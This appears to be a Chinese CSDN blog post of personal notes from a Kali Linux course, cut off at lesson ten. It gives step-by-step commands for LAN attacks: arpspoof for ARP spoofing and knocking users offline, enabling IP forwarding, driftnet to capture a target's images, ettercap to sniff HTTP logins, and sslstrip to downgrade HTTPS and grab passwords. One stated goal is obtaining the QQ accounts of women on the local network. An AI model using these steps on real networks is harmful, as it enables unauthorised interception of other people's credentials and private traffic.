看kali教程的一些总结（i春秋上的kali吧教程）

最新推荐文章于 2024-07-29 14:27:09 发布

中国好利鹏

最新推荐文章于 2024-07-29 14:27:09 发布

阅读量5.1k

点赞数 2

分类专栏： hack那些事文章标签：信息安全局域网测试

本文链接：https://blog.csdn.net/u013995946/article/details/49977353

版权

本文总结了在Kali Linux中进行网络安全测试的一些关键操作，包括ARP欺骗、断网攻击、IP流量转发、HTTP与HTTPS账号密码获取、会话劫持以及木马的使用和功能。通过arpspoof、ettercap、sslstrip等工具，展示了如何进行局域网监控和攻击，同时也提及了msfpayload在生成木马和安卓渗透中的应用。

摘要由CSDN通过智能技术生成

windows 雨滴美化
局域网断网攻击 arp攻击 arpspoof -i 网卡 -t 目标ip 网关
                查看局域网当中的ip   Fping -asg 网段

获取内网妹子的qq

arp欺骗   ：目标的IP流量经过我的网卡，从网关出去
arp断网：没有从网关出去

进行IP流量转发
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 写命令，不会有回显
可以ping通
此时：arp成功欺骗，不会出现断网现象

场景回顾：
arp欺骗成功 ==

driftnet     --> 获取本机网卡的图片

目标 --》我的网卡 --》网关

看我的网卡的图片信息

Driftnet -i eth0

第八课 http账号密码获取

开启IP转发
1、echo 1 > /proc/sys/net/ipv4/ip_forward

2、arpspoof 欺骗

3、ettercap -Tq -i eth0

-Tq 文本模式

第九课 https账号密码获取

配置一下

同上

3、sslstrip -a -f - 》 https的链接还原为http

第十